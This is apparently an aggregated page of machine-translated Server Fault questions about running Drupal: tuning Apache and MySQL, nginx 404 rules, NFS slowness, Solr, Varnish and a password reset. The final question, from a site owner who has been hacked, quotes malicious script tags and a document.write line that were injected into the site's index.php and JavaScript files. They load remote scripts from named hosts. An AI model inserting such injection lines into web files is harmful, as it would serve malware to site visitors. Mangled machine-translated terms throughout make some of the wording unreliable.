我有一个Drupal站点,可能会在发布时获得非常高的命中率。 我们已经租了一个非常强大的服务器的初始发射,之后,我们将缩小。 该服务器有一个Xeon E5-2670 8核心处理器@ 2.6GHz和30GB的RAM。 MySQL已经被赋予了大量的内存,并且我已经证实MySQL实际上是通过“top”来使用这个内存的: innodb_buffer_pool_size = 15G PHP已经被赋予了大量的内存(现在几乎可以肯定是太多了,我注意到了“每个脚本”的评论): memory_limit = 6000M Apacheconfiguration是开箱即用的默认设置: StartServers 8 MinSpareServers 5 MaxSpareServers 20 ServerLimit 256 MaxClients 256 MaxRequestsPerChild 4000 我一直在运行JMetertesting(基本上“尽可能多地在网站上抛出尽可能多的线程,并尽可能快地请求页面”),并且随着并发用户数量的增加,我可以看到性能下降: 5用户:〜1s平均响应时间 10个用户:约1.3秒平均响应时间 20个用户:平均2.5秒的响应时间 但是,机器的负载仍然很低。 在testing中,“top”报告26gb的内存空间,“uptime”的平均负载不超过0.63。 我的怀疑是,我们仍然有很多资源可以投入到性能上,但是Apache并没有充分利用这些资源。 这就是说,我是一个开发人员,而不是一个系统pipe理员,而且我不是服务器性能方面的专家。 我可以提高性能的最佳改进是什么?
我使用git部署了一个Drupal网站(好吧,开发人员部署它,我试图避免麻烦),因此网站在文档根目录.git有一个目录.git和一个文件.gitignore 。 目前对文件的权限足以导致nginx返回一个403 Forbidden错误,如果这些文件在Web浏览器中被访问。 但是,我想nginx完全否认这个文件和目录的存在,如果有人试图在浏览器中访问它们,则返回404。 但是等等,还有更多! 我真正想要发生的事情是浏览器接收由Drupal生成的404错误页面。 在Drupal的admin/settings/error-reporting页面中,我看到404错误正在发送到http://www.example.com/ 404error ,这是一个Drupal节点,其中包含一个更有趣的404页面。 我的nginxconfiguration中已经包含了一个将请求传递给Drupal的@drupal块。 所以我想将请求传递给Drupal,但是我不希望Drupal尝试为现有的静态文件提供服务,而是仅仅为404页面服务。 location @drupal { rewrite ^/(.+)$ /index.php?q=$1 last; } 不幸的是,Google在这里并没有太大的帮助。 大多数人似乎有相反的问题。 如何让.git目录或.gitignore文件中的任何内容发送到Drupal的404页面?
我们有一个安装了Drupal 7站点的设置,这个站点具有以下设置 – 运行Web虚拟机和NFS虚拟机的VMware ESXi 4.1主机服务器。 Web虚拟机正在使用Apache和mod_php。 该网站仍在开发中,因此我们不得不closures所有forms的caching由于经常更新的文件。 每个页面请求大约需要15-20秒才能完成。 对PHP代码进行性能分析显示绝大多数时间(通常超过90%)都是通过加载模块的所有is_dir(),is_file()函数调用进行的。 我已经将PHP的实际pathcaching大小增加到几个兆字节,strace显示lstat调用从200降到6左右,stat()减less了一些(大约600次调用)。 然而,虽然这已经削减了相当多的时间,但对于要求最严格的页面,我无法突破10秒的每个请求屏障。 有没有一种方法可以从这个设置中获得更好的性能,而不涉及caching? 编辑:MySQL不是问题,查询caching意味着请求最多需要一秒钟才能完成。 configuration和统计: VM主机:单四核至强CPU 虚拟机: web – Centos 6 64bt,2.5GB RAM,普通CPU / HD优先级(2核)nfs – Centos 6 64bt,2GB RAM,正常的CPU优先级(4核),高清优先级 PHP:32M实际pathcaching大小(testing目的是这么高) NFS: ~]# egrep -v '#|^$' /etc/nfsmount.conf [ NFSMount_Global_Options ] Defaultvers=4 Ac=False Rsize=32k Wsize=32k Bsize=32k 通过NFS读取速度不是问题使用32k块返回的100Mtesting文件的dd: 3200+0 records in 3200+0 records out 104857600 bytes (105 […]
我在CentOS机器上只看到一两个关于安装Solr的教程,特别是Java,而且它们似乎太复杂; 哎呀,我不能完全弄清楚哪个版本的Java(似乎有很多)安装…我不是一个全职的系统pipe理员,所以我想知道什么Java版本/包我需要使用,如果有一个很好的教程,相对容易遵循安装步骤。 我将尝试让Solr与一些Drupal站点一起工作,而这个方程的这一部分似乎并不像Java那样困难。
有一个与Drupalconfiguration的旧虚拟机,我不记得pipe理员密码。 密码恢复过程给我一个链接重置密码,但生成的页面说:“拒绝访问”。 然后我直接编辑MySQL中的Drupal用户表。 除了Salt模块已经安装,因此哈希无效之外,这一切都奏效了。 我不知道该从哪里走。 有任何想法吗?
我有一个Drupal的网站,似乎有无数的性能问题。 大约5个月前,这个速度很慢。 我带来了一些为匿名访问者安装nginx的人,他们join了一些查询,这样他们就不会在页面加载时触发,并且帮我find了代码中的一些瓶颈。 大约一个月的时间,这个网站的速度明显加快了,尽pipe这个词没有任何“快”。 与此同时,我现在正在向Slicehost提出400美元/月的费用来托pipe一个每天less于5,000美元的独立网站。 是的,你没有看错。 去Drupal。 最近这个网站又开始崩溃,并且又一次缓慢。 我无法雇用人员进来,从上到下研究我的代码,并做出可能或不可能帮助的更改。 而且我不能在这个问题上投入更多的硬件。 所以我需要弄清楚自己是什么问题。 问题: 当Apache崩溃时,是否有可能找出导致它崩溃的原因? 必须有一个方法,对吧? 如果是这样,我该怎么做? 有我可以使用的软件,会告诉我哪个进程导致我的服务器死亡? (例如,“Apache因为某人访问过页面X而崩溃了”,或者“Apache因为从Feed X导入太多RSS项目而崩溃”)。 什么是一个好的,小白友好的方式来监视我目前的Apache性能? 我的开发者朋友告诉我“只使用Top,老兄”,但是Top显示了一些没有任何上下文的数字。 我不知道在Top中有什么合格的数字或者是一个好的数字,哪些stream程是相关的,哪些不是。 那里有noob友好的服务器监视工具吗? 理想情况下,我可以有一个页面给我一个关于apache如何执行的颜色代码指示器,然后向我显示一个进程或页面列表,现在正在吸取。 这样,我可以知道什么时候performance不好,然后是什么导致它如此糟糕。 为什么PHP内存很重要? 我显然有一个30MB的内存足迹。 如果我把这个数字下来,会跑得更快吗? 感谢您的任何build议。 我花了一年左右的时间试图提高我的广告收入,所以我可以聘请承包商解决我的performance困境。 我不想学习所有这些系统pipe理员伏都教。 我现在辞职了,可能没有select的事实。
我的生产环境中的MySQL查询花费的时间比我期望的要长得多。 有问题的网站是一个相当大的Drupal站点,安装了许多模块。 networking服务器(Nginx)和数据库服务器(mysql)托pipe在分离的机器上,通过100mbps的LAN连接(由Rackspace托pipe)连接。 我有我的笔记本电脑上运行完全相同的网站进行开发。 显然,在我的笔记本电脑上,networking服务器和数据库服务器在同一个盒子上。 这里是我的数据库查询时间的结果: 生产: 在320.33毫秒内执行了291次查询。 (主页) 在999.81毫秒内执行了517个查询。 (内容页) 发展: 在46.28毫秒内执行了316次查询。 (主页) 在79.09毫秒内执行了586次查询。 (内容页) 从这些结果可以清楚地看出,在我的笔记本电脑上查询MySQL数据库的时间要短得多,在这台笔记本电脑上,MySQL服务器和Web服务器在同一个数据库上运行。 为什么是这样?! 一个因素必须是networking延迟。 平均而言,从Web服务器到数据库服务器的往返时间为0.16ms(以ping显示)。 必须添加到每个单独的MySQL查询。 因此,以上面的内容页面示例为例,执行517个查询。 networking延迟本身将增加总查询时间82毫秒。 但是,这并不能解释我所看到的差异(我的笔记本电脑上79ms与生产盒上的999ms)。 我还应该考虑哪些其他因素? 我曾想过将网卡升级为千兆连接,但显然还有其他一些问题。 我已经从http://www.day32.com/MySQL/运行MySQL性能调优脚本,它告诉我,我的数据库服务器configuration好(显然比我的笔记本电脑好)。 唯一报告的问题是“在4394个临时表中,48%是在磁盘上创build的”。 这是真的在这两个环境和生产环境我甚至尝试增加max_heap_table_size和当前tmp_table_size到1GB,没有任何改变(我认为这是因为我有一些BLOB和TEXT列)。
我正在解决我的Ubuntu服务器上Varnish 3.x的设置问题。 我在两个站点上运行Drupal 7,通过基于命名的虚拟主机。 在尝试获得Varnish与Drupal的良好合作之前,我正尝试从caching中获取Varnish到PNG。 以下是我从PNG文件的curl -I请求中获得的标题: HTTP/1.1 200 OK Server: Apache/2.2.22 (Ubuntu) Last-Modified: Sun, 07 Oct 2012 21:18:59 GMT ETag: "a57c2-3850-4cb7ea73db6c0" Accept-Ranges: bytes Content-Length: 14416 Cache-Control: max-age=1209600 Expires: Thu, 25 Oct 2012 22:55:14 GMT Content-Type: image/png Accept-Ranges: bytes Date: Thu, 11 Oct 2012 22:55:14 GMT X-Varnish: 1766703058 Age: 0 Via: 1.1 varnish Connection: keep-alive […]
在Drupal安装中,它将在下面以纯文本forms显示根PHP文件。 a2enmod说php5是启用的,aptitude说libapache2-mod-php5已经安装,mods-enabled /有php5.conf和php5.load,VirtualHost有DirectoryIndex和ScriptHandler指定。 这有点像政府经济学家的计算机病毒:你可以find的每一个指标都说你的系统是好的,但是它不起作用。 我该怎么做才能让这个Drupal 7站点运行? 显示的页面是: <?php /** * @file * The PHP page that serves all page requests on a Drupal installation. * * The routines here dispatch control to the appropriate handler, which then * prints the appropriate page. * * All Drupal code is released under the GNU General Public License. […]
这是关于基于Drupal 5的在线商店。 突然之间,它不再工作了。 在访问该网站时,出现这个错误: parsing错误:语法错误,第38行的/home/public_html/index.php中出现意外的“<” 在进一步检查后,我发现在index.php结尾处有两行: <script type="text/javascript" src="http://blog.nodisposable.com:8080/Hibernate.js"></script> <!–7379ba6e55616ea66ac9d812fc0597ba–> 手动删除这两行后,该网站似乎再次正常工作。 但在更多的问题(编辑页面)被报告后,我发现实际上所有* .js文件都是“感染”的。 他们都在最后包含一个额外的行: document.write('<s'+'cript type="text/javascript" src="http://blog.nodisposable.com:8080/Hibernate.js"></scr'+'ipt>'); 这个网站被黑了吗? 在search“blog.nodisposable.com”时,没有什么有趣的事情发生。 该网站本身似乎是合法的。 这可能是黑客自己? 谁能解释这是怎么发生的? 我能做些什么来扭转这种情况? 而我将来可以做些什么来避免这种情况呢? 更新 恢复网站的备份(不是数据库)后,又发生了,但现在脚本标记指向dolfy.sedonahyperbarics.com:8080/XHTML.js 。 显然,很多随机Drupal用户帐户也被创build。 所以这可能是一个实际上是Drupal漏洞的标志。 我们删除了它们,并且仅将用户帐户创build限制到pipe理员(应该从一开始就是这样,我知道:-s)。 我们还将pipe理员用户密码更改为更安全的内容 。 希望现在不会回来。